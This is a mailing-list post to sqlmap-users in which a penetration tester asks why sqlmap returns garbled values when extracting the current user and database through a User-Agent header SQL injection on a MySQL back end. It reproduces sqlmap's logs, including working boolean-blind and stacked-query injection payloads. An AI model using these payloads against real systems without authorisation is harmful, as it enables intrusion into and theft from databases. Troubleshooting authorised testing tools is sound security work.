[sqlmap-users] problem with data retrieval

[Chris R. <pip...@gm...>]

I am doing a test right now and I am receiving unusual output during data
retrieval.  I have never seen this from sqlmap before.  I have tried using
single or multi threads, --no-cast, and --hex options with no luck.  I am
using sqlmap 1.0-dev r5100.  Could the data in the database be a different
language that sqlmap can't read?  The clinet's site is primarily in
arabic.  I need help!!  Thanks
*
Here is the output from the log file:*

Payload: sqlmap/1.0-dev (r5100) (http://www.sqlmap.org)') AND 6574=6574--

    Type: stacked queries
    Title: MySQL < 5.0.12 stacked queries (heavy query)
    Payload: sqlmap/1.0-dev (r5100) (http://www.sqlmap.org)'); SELECT
BENCHMARK(10000000,MD5(0x504b774c));--
---

current user:    None

current database:    None

current user is DBA:    None

sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
---
Place: User-Agent
Parameter: User-Agent
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (Generic
comment)
    Payload: sqlmap/1.0-dev (r5100) (http://www.sqlmap.org)') AND
6574=6574--

    Type: stacked queries
    Title: MySQL < 5.0.12 stacked queries (heavy query)
    Payload: sqlmap/1.0-dev (r5100) (http://www.sqlmap.org)'); SELECT
BENCHMARK(10000000,MD5(0x504b774c));--
---

current user:    'x?'

current database:    None

current user is DBA:    None

sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
---
Place: User-Agent
Parameter: User-Agent
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (Generic
comment)
    Payload: sqlmap/1.0-dev (r5100) (http://www.sqlmap.org)') AND
6574=6574--

    Type: stacked queries
    Title: MySQL < 5.0.12 stacked queries (heavy query)
    Payload: sqlmap/1.0-dev (r5100) (http://www.sqlmap.org)'); SELECT
BENCHMARK(10000000,MD5(0x504b774c));--
---

current user:    'x?'

current database:    '??nx^}h'

current user is DBA:    None


*Here is the command line output during testing:*

[13:37:28] [INFO] changes made by tampering scripts are not included in
shown payload content(s)
[13:37:28] [INFO] the back-end DBMS is MySQL
web server operating system: Windows Vista
web application technology: Apache, ASP.NET 4.0.30319, ASP.NET, Microsoft
IIS 7.0

back-end DBMS: MySQL 5
[13:37:28] [INFO] fetching current user
[13:37:28] [INFO] retrieving the length of query output
[13:37:28] [INFO] retrieved:
[13:37:32] [INFO] resumed: x?
current user:    'x?'

[13:37:32] [INFO] fetching current database
[13:37:32] [INFO] retrieving the length of query output
[13:37:32] [INFO] retrieved: 8
[13:38:32] [INFO] retrieved: ??n  x^}h
current database:    '??nx^}h'

[13:38:32] [INFO] testing if current user is DBA
[13:38:32] [INFO] fetching current user
[13:38:32] [INFO] retrieving the length of query output
[13:38:32] [INFO] retrieved: 6
[13:38:58] [WARNING] there was a problem decoding value '??????' from
expected hexadecimal form

current user is DBA:    None

[13:38:58] [INFO] fetching database users
[13:38:58] [INFO] fetching number of database users
[13:38:58] [INFO] retrieved: 48
[13:39:08] [CRITICAL] unable to retrieve the number of database users
[13:39:08] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 23 times

[*] shutting down at 13:39:08